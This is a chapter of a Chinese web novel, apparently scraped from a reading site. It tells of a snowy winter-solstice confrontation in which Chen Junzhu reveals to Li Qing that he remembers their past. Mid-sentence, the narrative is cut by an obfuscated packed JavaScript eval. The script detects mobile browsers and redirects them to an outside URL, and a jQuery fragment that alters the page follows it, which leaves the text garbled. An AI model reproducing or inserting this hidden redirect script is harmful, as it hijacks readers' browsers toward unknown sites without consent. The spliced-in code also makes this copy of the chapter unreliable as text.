75.摊牌

作品:《帝青

    李青几乎是逃也似的回到了寝舍。


    门在身后“咣当”一声合上,虽隔绝了寝舍外的喧嚣声,却隔绝不了心底的惊涛骇浪。


    她背靠着冰凉的门板,方才在膳堂被某人体贴之举激起的心悸,仍未完全平复。


    挑走姜丝的动作行云流水,他定然是知道了什么。


    酌月坐在自己的卧榻上,一路小跑归来,亦是气喘吁吁。见她难得失态的样子,小心翼翼地问:“吕姐姐,陈君竹是不是什么都想起来了。”


    李青示意她先自己待一会儿。


    她走到桌边,给自己倒了一杯冷茶,仰头一饮而尽。


    凉茶入喉,稍稍浇灭了些许火气。


    窗外不知何时飘起了细雪,似若柳絮簌簌落下,无声地落在书院的黑瓦枯枝上。


    今日冬至。


    陈君竹记起来了。


    他明明可以选择忘记,为何要用这种近乎无赖的方式,重新介入她的生命。


    李青捏紧茶杯,冰冰凉凉的触感刺激着她的掌心。


    她讨厌这种失控的感觉,讨厌被人看穿软肋,尤其这个人还是陈君竹。


    “叩叩叩——”


    叩门声响起,在静谧的落雪声中略微有些刺耳。


    酌月立刻紧张地看向李青。


    李青眸光一闪,瞬间恢复了惯常的冷硬。她整理仪容,走到门后,并未立刻开门,只冷声问:“谁?”


    门外沉默了一瞬,随即,陈君竹清润温和的声音响起:


    “林姑娘,是我,陈静。有些关于漕运条陈的细节,想与姑娘商讨。”


    冠冕堂皇的借口!


    李青几乎要冷笑出声。她深吸一口气,旋即拉开了房门。


    门外的景象,让她瞬间怔住。


    细雪纷飞,如琼碎玉落,在漆黑的夜幕下织成朦胧的纱幔。


    陈君竹立于这雪幕之前,月白色长衫与这冰雪天地融为一体,不染纤尘,清冷孤绝。


    檐下悬着的灯笼透出昏黄光晕,勾出他秀气挺拔的身姿。落雪沾染在他乌黑发间,纤长睫上,甚至在他肩头覆了薄薄一层清霜。


    他手中执着几页文稿,笑意浅淡。眸如古潭,映着纷飞雪光。郎艳独绝,世无其二。


    裹挟着雪粒的寒风趁机卷入屋内,带来淡淡凉意,也吹动了他宽大袖袍和几缕墨发。几片雪花般灵巧地飞过他的身侧,轻盈地落入暖室,瞬间化作晶莹的水汽。


    他站在那里,不似凡人,倒像是这冬至雪夜幻化出的仙君,看似清冷,却又因他专注的目光而有了触手可及的温度。


    李青呼吸一窒,方才所有的烦躁,在这一刻,竟被这极致的美学景象冲击得七零八落。


    “陈公子有何指教?”她强自镇定,双手抱胸,势必要守住心中的防线。


    陈君竹的视线在她脸上细细描摹,掠过微蹙的眉,最后定格在她强装镇定的紧抿的唇上。


    他忽然笑了,带着几分了然,几分无奈,甚至几分宠溺。


    一笑似暖日,千里冰雪融。


    “指教不敢。”他声音放得极轻,“只是方才见姑娘匆匆离去,粥也未用几口,可是身体不适?或是被我惹恼了?”


    呵出的气息在冷空气中凝成淡淡的白雾。


    竟还敢提!李青暗自骂道,被他笑容晃到的心神迅速收回:“陈公子多虑了。我只是不喜与不相干之人,同桌用膳。”


    “哦?不相干之人……”陈君竹低声重复着这几个字,似是在品鉴般。


    他上前一步,逼近了门槛,两人间的距离瞬间缩短到呼吸可闻。几片莹雪随着他的动作,飘过门槛,落在他和她之间的地面上。


    李青能清晰地闻到他身上熟悉的清冽墨香,混合着冰寒的雪气,强势地侵占了她的感官。


    “阿青。”


    他忽然开口,熟悉的昵称炸响在李青耳边。


    闻言,她瞳孔骤然收缩。所有的伪装,在这一声呼唤面前,土崩瓦解。


    门外的风声似乎在这一刻远去,整个天地间只剩下他,披了一身雪笠凝视着她。


    他果然想起来了!连这个名字都想起来了!


    见她反应僵硬,他心中最后的一分不确定也烟消云散。


    陈君竹百感交集,酸楚有甚,狂喜有甚,痛惜有甚,最终都化为失而复得的庆幸。


    “果然是你。”他轻叹,唇畔白气氤氲,“我竟直到现在才认出你。”


    李青蓦然回神,强烈的屈辱感席卷而来。她像是被惹恼的刺猬般,瞬间竖起了所有的尖刺。


    “陈公子慎言!”她厉声喝道,声音因激动而拔高了几度,“我不知你在胡言乱语什么!阿青是谁?与我何干?”


    她试图用愤怒掩饰慌乱,用力想要将那人关在门外。


    陈君竹却伸手,稳稳地抵住了门板。


    “还要装下去吗?”他看着她,清润的眸中尽是确信之意。


    似要剖开她所有的伪装,直抵内核。


    “看着我,阿青。看着我的眼睛,告诉我,你不认识我,不认识陈君竹,不认识在漳州城外,为你挡下‘蚀魂焚心咒’的蠢货!”


    挡咒一事,如同最恶毒的诅咒。这段她不愿回忆,却又夜夜啃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089680|195067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    噬她内心的画面,被他如此直白地撕开。


    面上瞬间血色尽褪,比外面的雪还要白上几分,李青竟一时说不出反驳的话来。


    酌月在一旁本来有些困了,刚想回房间补个觉。听到这句话,却突然回想起祠内黑衣人的恐怖和酌雪的惨死,不由得心惊肉跳,脸色也肃穆了几分。


    陈君竹心间一痛,抵着门板的手松开了些许。他语气软了下来,近乎恳求般:“阿青,我们谈谈。”


    李青别开脸,避开他灼人的视线。


    半晌,她才从牙缝里挤出一句:“……进来。”


    她终究,还是退让了。


    陈君竹心中一松,迈步走了进来,反手轻轻关上了房门,将一庭风雪隔绝在外。肩头的落雪迅速融化,在月白衫子上洇开深色的水痕。


    狭小的客舍内,二人隔着一段距离各自立着。


    酌月看看这个,又看看那个,识趣地缩到了角落,努力降低自己的存在感。


    李青走到窗边,背对着他,望着窗外愈加密集的飞雪,只留给他冷硬的背影。


    她的手擦过窗棂,俨然已积了薄薄一层白。


    “你想谈什么?”


    陈君竹看着她倔强的背影,心中五味杂陈。他知道,要敲碎这层冰,绝非易事。


    “谈你的安危,谈如今的局势,也谈谈我们的过去与将来。”


    每一个字都斟酌着分量。


    李青转身,望着眼前这个至亲至疏,让她又爱又恨的男子,讥笑道:“陈君竹,我们的过去,就是你与李澜余系监视我,算计我!你我之间,还有什么将来可言?”


    陈君竹脸色白了白,迎着她愤怒的目光,坦然道:“是,我监视过你,算计过你。彼时,我忠于太子,忌惮你的手段,更看不清自己的心。”


    “但阿青,在漳州城外,我为你挡下那一击时,脑子里什么都没有,只有你。这无关任何立场,只是陈君竹,不能眼睁睁看着阿青去死。”


    反驳的话语到了嘴边,可她偏偏发现自己喉咙发紧,一个字也说不出来。


    角落里的酌月,早已捂住了嘴巴,神情有些游离,不知道在思索些什么。


    陈君竹向前一步,靠在她的身侧,不容她再逃避:“阿青,告诉我,你现在究竟想做什么。回京城,夺回那本就属于你的位置?还是另有打算?”


    窗外,雪落无声。


    她沉默良久,久到陈君竹几乎以为她不会再回答。


    终于,她移开视线,望向窗外被白雪覆盖的,模糊的一方天地:


    “李牧之,不配坐那个位置。”